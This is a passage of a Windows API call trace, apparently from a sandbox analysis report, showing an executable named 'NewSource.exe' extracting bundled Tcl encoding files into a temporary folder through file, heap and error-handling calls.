lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb12345.enc") returned 70 [0036.429] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb12345.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\gb12345.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.430] GetFileType (hFile=0x10c) returned 0x1 [0036.430] htonl (hostlong=0x5b520100) returned 0x1525b [0036.430] WriteFile (in: hFile=0x10c, lpBuffer=0x564948*, nNumberOfBytesToWrite=0x15000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x564948*, lpNumberOfBytesWritten=0x4fcd00*=0x15000, lpOverlapped=0x0) returned 1 [0036.432] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.432] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x25b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x25b, lpOverlapped=0x0) returned 1 [0036.432] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.432] CloseHandle (hObject=0x10c) returned 1 [0036.435] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564948 | out: hHeap=0x530000) returned 1 [0036.435] htonl (hostlong=0x30000000) returned 0x30 [0036.435] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.435] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.435] GetFileType (hFile=0x10c) returned 0x1 [0036.435] htonl (hostlong=0x24d05400) returned 0x54d024 [0036.435] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x598024, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.435] htonl (hostlong=0xbe010000) returned 0x1be [0036.435] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1be) returned 0x550600 [0036.435] htonl (hostlong=0xbe010000) returned 0x1be [0036.435] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.435] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.435] htonl (hostlong=0x43040000) returned 0x443 [0036.435] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x443) returned 0x5507c8 [0036.435] htonl (hostlong=0xbe010000) returned 0x1be [0036.435] htonl (hostlong=0x43040000) returned 0x443 [0036.435] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.435] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.436] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.436] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.436] CloseHandle (hObject=0x10c) returned 1 [0036.436] GetLastError () returned 0x0 [0036.436] SetLastError (dwErrCode=0x0) [0036.436] GetLastError () returned 0x0 [0036.436] SetLastError (dwErrCode=0x0) [0036.436] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.437] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.437] GetFileType (hFile=0x10c) returned 0x1 [0036.437] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.437] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.437] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.437] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.437] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.437] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.437] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.437] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.437] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.437] CloseHandle (hObject=0x10c) returned 1 [0036.437] GetLastError () returned 0x0 [0036.437] SetLastError (dwErrCode=0x0) [0036.437] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.437] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.437] GetFileType (hFile=0x10c) returned 0x1 [0036.437] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.437] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.437] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.437] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.437] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.437] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.438] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.438] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.438] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.438] CloseHandle (hObject=0x10c) returned 1 [0036.438] GetLastError () returned 0x0 [0036.438] SetLastError (dwErrCode=0x0) [0036.438] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb1988.enc") returned 69 [0036.438] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb1988.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\gb1988.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.438] GetLastError () returned 0x2 [0036.438] SetLastError (dwErrCode=0x2) [0036.438] GetLastError () returned 0x2 [0036.438] SetLastError (dwErrCode=0x2) [0036.438] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb1988.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb1988.enc", lpFilePart=0x0) returned 0x44 [0036.438] GetLastError () returned 0x2 [0036.438] SetLastError (dwErrCode=0x2) [0036.438] GetLastError () returned 0x2 [0036.438] SetLastError (dwErrCode=0x2) [0036.438] GetLastError () returned 0x2 [0036.438] SetLastError (dwErrCode=0x2) [0036.438] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb1988.enc") returned 69 [0036.438] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.438] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb1988.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\gb1988.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.439] GetFileType (hFile=0x10c) returned 0x1 [0036.439] htonl (hostlong=0x43040000) returned 0x443 [0036.439] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.439] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x443, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x443, lpOverlapped=0x0) returned 1 [0036.441] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.441] CloseHandle (hObject=0x10c) returned 1 [0036.442] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5507c8 | out: hHeap=0x530000) returned 1 [0036.442] htonl (hostlong=0x30000000) returned 0x30 [0036.442] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.442] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.442] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.442] GetFileType (hFile=0x10c) returned 0x1 [0036.442] htonl (hostlong=0xe2d15400) returned 0x54d1e2 [0036.442] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5981e2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.442] htonl (hostlong=0x25470000) returned 0x4725 [0036.442] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4725) returned 0x560088 [0036.443] htonl (hostlong=0x25470000) returned 0x4725 [0036.443] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x4000, lpOverlapped=0x0) returned 1 [0036.443] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.443] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.443] htonl (hostlong=0x344a0100) returned 0x14a34 [0036.443] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14a34) returned 0x5647b8 [0036.443] htonl (hostlong=0x25470000) returned 0x4725 [0036.443] htonl (hostlong=0x344a0100) returned 0x14a34 [0036.443] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5791f8 [0036.444] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5791f8 | out: hHeap=0x530000) returned 1 [0036.445] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.445] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.445] CloseHandle (hObject=0x10c) returned 1 [0036.445] GetLastError () returned 0x0 [0036.445] SetLastError (dwErrCode=0x0) [0036.445] GetLastError () returned 0x0 [0036.445] SetLastError (dwErrCode=0x0) [0036.445] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.445] GetFileType (hFile=0x10c) returned 0x1 [0036.445] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.445] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.445] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.445] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.445] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.445] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.445] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.445] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.445] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.445] CloseHandle (hObject=0x10c) returned 1 [0036.445] GetLastError () returned 0x0 [0036.445] SetLastError (dwErrCode=0x0) [0036.445] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.446] GetFileType (hFile=0x10c) returned 0x1 [0036.446] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.446] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.446] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.446] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.446] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.446] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.446] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.446] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.446] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.446] CloseHandle (hObject=0x10c) returned 1 [0036.446] GetLastError () returned 0x0 [0036.446] SetLastError (dwErrCode=0x0) [0036.446] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb2312-raw.enc") returned 73 [0036.446] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb2312-raw.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\gb2312-raw.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.446] GetLastError () returned 0x2 [0036.446] SetLastError (dwErrCode=0x2) [0036.446] GetLastError () returned 0x2 [0036.446] SetLastError (dwErrCode=0x2) [0036.446] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb2312-raw.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb2312-raw.enc", lpFilePart=0x0) returned 0x48 [0036.446] GetLastError () returned 0x2 [0036.446] SetLastError (dwErrCode=0x2) [0036.446] GetLastError () returned 0x2 [0036.446] SetLastError (dwErrCode=0x2) [0036.446] GetLastError () returned 0x2 [0036.446] SetLastError (dwErrCode=0x2) [0036.446] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb2312-raw.enc") returned 73 [0036.447] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.447] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb2312-raw.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\gb2312-raw.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.447] GetFileType (hFile=0x10c) returned 0x1 [0036.448] htonl (hostlong=0x344a0100) returned 0x14a34 [0036.448] WriteFile (in: hFile=0x10c, lpBuffer=0x5647b8*, nNumberOfBytesToWrite=0x14000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x5647b8*, lpNumberOfBytesWritten=0x4fcd00*=0x14000, lpOverlapped=0x0) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.450] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xa34, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xa34, lpOverlapped=0x0) returned 1 [0036.450] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.450] CloseHandle (hObject=0x10c) returned 1 [0036.452] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5647b8 | out: hHeap=0x530000) returned 1 [0036.452] htonl (hostlong=0x30000000) returned 0x30 [0036.452] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.452] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.452] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.452] GetFileType (hFile=0x10c) returned 0x1 [0036.452] htonl (hostlong=0x7195500) returned 0x551907 [0036.452] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x59c907, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.452] htonl (hostlong=0x59480000) returned 0x4859 [0036.452] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4859) returned 0x560088 [0036.452] htonl (hostlong=0x59480000) returned 0x4859 [0036.452] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x4000, lpOverlapped=0x0) returned 1 [0036.452] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.452] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.453] htonl (hostlong=0x464e0100) returned 0x14e46 [0036.453] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14e46) returned 0x5648f0 [0036.453] htonl (hostlong=0x59480000) returned 0x4859 [0036.453] htonl (hostlong=0x464e0100) returned 0x14e46 [0036.453] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x579740 [0036.454] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x579740 | out: hHeap=0x530000) returned 1 [0036.454] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.454] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.454] CloseHandle (hObject=0x10c) returned 1 [0036.539] GetLastError () returned 0x0 [0036.539] SetLastError (dwErrCode=0x0) [0036.539] GetLastError () returned 0x0 [0036.539] SetLastError (dwErrCode=0x0) [0036.539] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.539] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.539] GetFileType (hFile=0x10c) returned 0x1 [0036.539] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.539] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, 